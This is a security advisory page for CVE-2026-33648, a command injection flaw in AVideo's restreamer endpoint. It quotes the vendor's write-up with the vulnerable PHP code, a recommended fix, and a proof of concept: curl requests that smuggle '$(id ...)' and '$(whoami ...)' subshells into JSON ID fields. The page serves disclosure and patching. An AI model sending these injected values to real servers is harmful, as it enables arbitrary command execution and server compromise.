CVE-2026-33648: Wwbn/avideo AVideo Vulnerable To OS Command Vulnerability

HIGH
Advisory Identifier: GHSA-5m4q-5cvx-36mw
CVSS 8.8
CWE-78
Published
Advisory Summary

CVE-2026-33648 is a HIGH (CVSS 8.8) avideo vulnerable to os command vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Wwbn/avideo libraries in the Packagist ecosystem. The issue involves avideo vulnerable to os command injection via unsanitized `users_id` and `livetransmitionhistory_id` in restreamer log file path. Remediation is available in the latest vendor maintenance releases.

CVE-2026-33648 at a Glance

CVE Identifier CVE-2026-33648
GHSA Identifier GHSA-5m4q-5cvx-36mw
Severity HIGH
CVSS v3.1 Base Score 8.8
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product Wwbn/avideo
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 8.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-33648

To remediate this vulnerability, upgrade all affected Wwbn/avideo dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

wwbn/avideo fixed: Latest secure release
Upgrade wwbn/avideo to Latest secure release
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for wwbn/avideo

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-33648, inspect your project dependencies for Wwbn/avideo:

inspect dependencies for wwbn/avideo

Analyze the terminal output to locate any version of Wwbn/avideo in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Wwbn/avideo, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The restreamer endpoint constructs a log file path by embedding user-controlled `users_id` and `liveTransmitionHistory_id` values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to `exec()`, allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as `$()` or backticks. ## Details The vulnerability exists in `plugin/Live/standAloneFiles/restreamer.json.php`. The data flow is: **1. User input ingestion** (line 220): ```php $request = file_get_contents("php://input"); $robj = json_decode($request); ``` **2. Log file template** (line 58): ```php $logFile = $logFileLocation . "ffmpeg_restreamer_{users_id}_" . date("Y-m-d-h-i-s") . ".log"; ``` **3. `users_id` injected without sanitization** (line 318): ```php $obj->logFile = str_replace('{users_id}', $robj->users_id, $logFile); ``` **4. `liveTransmitionHistory_id` injected without sanitization** (line 407): ```php $pid[] = startRestream($m3u8, [$value], str_replace(".log", "_{$key}_{$robj->liveTransmitionHistory_id}_{$host}.log", $logFile), $robj); ``` Note: `intval()` is applied to `liveTransmitionHistory_id` in the separate `getProcess()` function (line 805), but NOT in the `runRestream()` path that constructs the log file. **5. Unsanitized log file path passed to `exec()`** (lines 720, 723): ```php // Line 720 (remote ffmpeg path): execFFMPEGAsyncOrRemote($command . ' > ' . $logFile . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG); // Line 723 (direct execution fallback): exec($command . ' > ' . $logFile . ' 2>&1 &'); ``` The code sanitizes stream URLs via `clearCommandURL()` and uses `escapeshellarg()` for pgrep patterns elsewhere, but completely neglects the log file path — a classic oversight where one injection vector is hardened while an adjacent one is left open. ## PoC **Prerequisites:** A valid AVideo account with live streaming permissions and a valid restream token. **Step 1:** Obtain a valid live streaming token by starting a live stream through the AVideo interface, or by calling the live API. **Step 2:** Send a crafted restream request with shell metacharacters in `users_id`: ```bash curl -k -X POST "https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php" \ -H "Content-Type: application/json" \ -d '{ "token": "VALID_TOKEN", "m3u8": "https://example.com/stream.m3u8", "restreamsDestinations": ["rtmp://example.com/live/key"], "restreamsToken": ["VALID_TOKEN"], "users_id": "x$(id > /tmp/pwned)x", "liveTransmitionHistory_id": "1" }' ``` **Step 3:** The resulting exec call becomes: ``` ffmpeg ... > /var/www/tmp/ffmpeg_restreamer_x$(id > /tmp/pwned)x_2026-03-20-... .log 2>&1 & ``` The `$()` subshell executes `id > /tmp/pwned` before the redirection is processed. **Step 4:** Verify command execution: ```bash curl -k "https://TARGET/tmp/pwned" # Expected: output of `id` command showing the web server user ``` The same vector works through `liveTransmitionHistory_id`: ```bash curl -k -X POST "https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php" \ -H "Content-Type: application/json" \ -d '{ "token": "VALID_TOKEN", "m3u8": "https://example.com/stream.m3u8", "restreamsDestinations": ["rtmp://example.com/live/key"], "restreamsToken": ["VALID_TOKEN"], "users_id": "1", "liveTransmitionHistory_id": "1$(whoami > /tmp/pwned2)1" }' ``` ## Impact An authenticated user with restream permissions can execute arbitrary OS commands on the server with the privileges of the web server process. This allows: - **Full server compromise**: Reading sensitive files (`/etc/passwd`, database credentials, `.env` files) - **Data exfiltration**: Accessing the AVideo database and all user data - **Lateral movement**: Using the compromised server as a pivot point - **Service disruption**: Killing processes, modifying or deleting files - **Persistent backdoor**: Installing web shells or cron jobs for ongoing access The authentication requirement (PR:L) limits this to users who have been granted streaming access, but in many AVideo deployments user registration is open, making this effectively a low-barrier attack. ## Recommended Fix Sanitize both `users_id` and `liveTransmitionHistory_id` immediately after input, and use `escapeshellarg()` on the log file path before shell execution. **In `restreamer.json.php`, after line 220 (input decoding), add input sanitization:** ```php $robj = json_decode($request); // Sanitize fields that will be used in file paths and shell commands if (isset($robj->users_id)) { $robj->users_id = preg_replace('/[^a-zA-Z0-9_-]/', '', $robj->users_id); } if (isset($robj->liveTransmitionHistory_id)) { $robj->liveTransmitionHistory_id = intval($robj->liveTransmitionHistory_id); } ``` **At lines 720 and 723, use `escapeshellarg()` on the log file path:** ```php // Line 720: execFFMPEGAsyncOrRemote($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG); // Line 723: exec($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 &'); ``` Both fixes should be applied — input sanitization as defense-in-depth, and `escapeshellarg()` as the direct mitigation at the point of shell execution.

CVE-2026-33648 Affected Wwbn/avideo Versions

1 component(s)
Product / Package Ecosystem Affected Versions Fixed Version
wwbn/avideo
Packagist
≤ 26.0

References

Frequently Asked Questions

What is CVE-2026-33648?
CVE-2026-33648 is a security vulnerability in Wwbn/avideo involving AVideo Vulnerable to OS Command Injection via Unsanitized `users_id` and `liveTransmitionHistory_id` in Restreamer Log File Path under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which Wwbn/avideo versions are affected?
Affected versions include releases prior to current release patches across affected packages: wwbn/avideo.
What version fixes CVE-2026-33648?
Upgrading to current release patches (or the latest patched release for your respective branch) resolves the vulnerability.
Is wwbn/avideo affected?
Yes, wwbn/avideo is affected in releases prior to Latest secure release. Upgrade your dependency to Latest secure release or later.
What is the CVSS score of CVE-2026-33648?
CVE-2026-33648 has a CVSS v3.1 base score of 8.8 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-33648?
CVE-2026-33648 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check Packagist dependencies for CVE-2026-33648?
Run the dependency tree command: 'inspect dependencies for wwbn/avideo'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5m4q-5cvx-36mw",
  "modified" : "2026-03-25T17:47:21Z",
  "published" : "2026-03-25T17:47:21Z",
  "aliases" : [ "CVE-2026-33648" ],
  "summary" : "AVideo Vulnerable to OS Command Injection via Unsanitized `users_id` and `liveTransmitionHistory_id` in Restreamer Log File Path",
  "details" : "## Summary\n\nThe restreamer endpoint constructs a log file path by embedding user-controlled `users_id` and `liveTransmitionHistory_id` values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to `exec()`, allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as `$()` or backticks.\n\n## Details\n\nThe vulnerability exists in `plugin/Live/standAloneFiles/restreamer.json.php`. The data flow is:\n\n**1. User input ingestion** (line 220):\n```php\n$request = file_get_contents(\"php://input\");\n$robj = json_decode($request);\n```\n\n**2. Log file template** (line 58):\n```php\n$logFile = $logFileLocation . \"ffmpeg_restreamer_{users_id}_\" . date(\"Y-m-d-h-i-s\") . \".log\";\n```\n\n**3. `users_id` injected without sanitization** (line 318):\n```php\n$obj->logFile = str_replace('{users_id}', $robj->users_id, $logFile);\n```\n\n**4. `liveTransmitionHistory_id` injected without sanitization** (line 407):\n```php\n$pid[] = startRestream($m3u8, [$value], str_replace(\".log\", \"_{$key}_{$robj->liveTransmitionHistory_id}_{$host}.log\", $logFile), $robj);\n```\n\nNote: `intval()` is applied to `liveTransmitionHistory_id` in the separate `getProcess()` function (line 805), but NOT in the `runRestream()` path that constructs the log file.\n\n**5. Unsanitized log file path passed to `exec()`** (lines 720, 723):\n```php\n// Line 720 (remote ffmpeg path):\nexecFFMPEGAsyncOrRemote($command . ' > ' . $logFile . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);\n\n// Line 723 (direct execution fallback):\nexec($command . ' > ' . $logFile . ' 2>&1 &');\n```\n\nThe code sanitizes stream URLs via `clearCommandURL()` and uses `escapeshellarg()` for pgrep patterns elsewhere, but completely neglects the log file path — a classic oversight where one injection vector is hardened while an adjacent one is left open.\n\n## PoC\n\n**Prerequisites:** A valid AVideo account with live streaming permissions and a valid restream token.\n\n**Step 1:** Obtain a valid live streaming token by starting a live stream through the AVideo interface, or by calling the live API.\n\n**Step 2:** Send a crafted restream request with shell metacharacters in `users_id`:\n\n```bash\ncurl -k -X POST \"https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"token\": \"VALID_TOKEN\",\n    \"m3u8\": \"https://example.com/stream.m3u8\",\n    \"restreamsDestinations\": [\"rtmp://example.com/live/key\"],\n    \"restreamsToken\": [\"VALID_TOKEN\"],\n    \"users_id\": \"x$(id > /tmp/pwned)x\",\n    \"liveTransmitionHistory_id\": \"1\"\n  }'\n```\n\n**Step 3:** The resulting exec call becomes:\n```\nffmpeg ... > /var/www/tmp/ffmpeg_restreamer_x$(id > /tmp/pwned)x_2026-03-20-... .log 2>&1 &\n```\n\nThe `$()` subshell executes `id > /tmp/pwned` before the redirection is processed.\n\n**Step 4:** Verify command execution:\n```bash\ncurl -k \"https://TARGET/tmp/pwned\"\n# Expected: output of `id` command showing the web server user\n```\n\nThe same vector works through `liveTransmitionHistory_id`:\n```bash\ncurl -k -X POST \"https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\n    \"token\": \"VALID_TOKEN\",\n    \"m3u8\": \"https://example.com/stream.m3u8\",\n    \"restreamsDestinations\": [\"rtmp://example.com/live/key\"],\n    \"restreamsToken\": [\"VALID_TOKEN\"],\n    \"users_id\": \"1\",\n    \"liveTransmitionHistory_id\": \"1$(whoami > /tmp/pwned2)1\"\n  }'\n```\n\n## Impact\n\nAn authenticated user with restream permissions can execute arbitrary OS commands on the server with the privileges of the web server process. This allows:\n\n- **Full server compromise**: Reading sensitive files (`/etc/passwd`, database credentials, `.env` files)\n- **Data exfiltration**: Accessing the AVideo database and all user data\n- **Lateral movement**: Using the compromised server as a pivot point\n- **Service disruption**: Killing processes, modifying or deleting files\n- **Persistent backdoor**: Installing web shells or cron jobs for ongoing access\n\nThe authentication requirement (PR:L) limits this to users who have been granted streaming access, but in many AVideo deployments user registration is open, making this effectively a low-barrier attack.\n\n## Recommended Fix\n\nSanitize both `users_id` and `liveTransmitionHistory_id` immediately after input, and use `escapeshellarg()` on the log file path before shell execution.\n\n**In `restreamer.json.php`, after line 220 (input decoding), add input sanitization:**\n\n```php\n$robj = json_decode($request);\n// Sanitize fields that will be used in file paths and shell commands\nif (isset($robj->users_id)) {\n    $robj->users_id = preg_replace('/[^a-zA-Z0-9_-]/', '', $robj->users_id);\n}\nif (isset($robj->liveTransmitionHistory_id)) {\n    $robj->liveTransmitionHistory_id = intval($robj->liveTransmitionHistory_id);\n}\n```\n\n**At lines 720 and 723, use `escapeshellarg()` on the log file path:**\n\n```php\n// Line 720:\nexecFFMPEGAsyncOrRemote($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG);\n\n// Line 723:\nexec($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 &');\n```\n\nBoth fixes should be applied — input sanitization as defense-in-depth, and `escapeshellarg()` as the direct mitigation at the point of shell execution.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "wwbn/avideo"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "26.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/security/advisories/GHSA-5m4q-5cvx-36mw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33648"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/WWBN/AVideo/commit/99b865413172045fef6a98b5e9bfc7b24da11678"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/WWBN/AVideo"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-25T17:47:21Z",
    "nvd_published_at" : "2026-03-23T19:16:40Z"
  }
}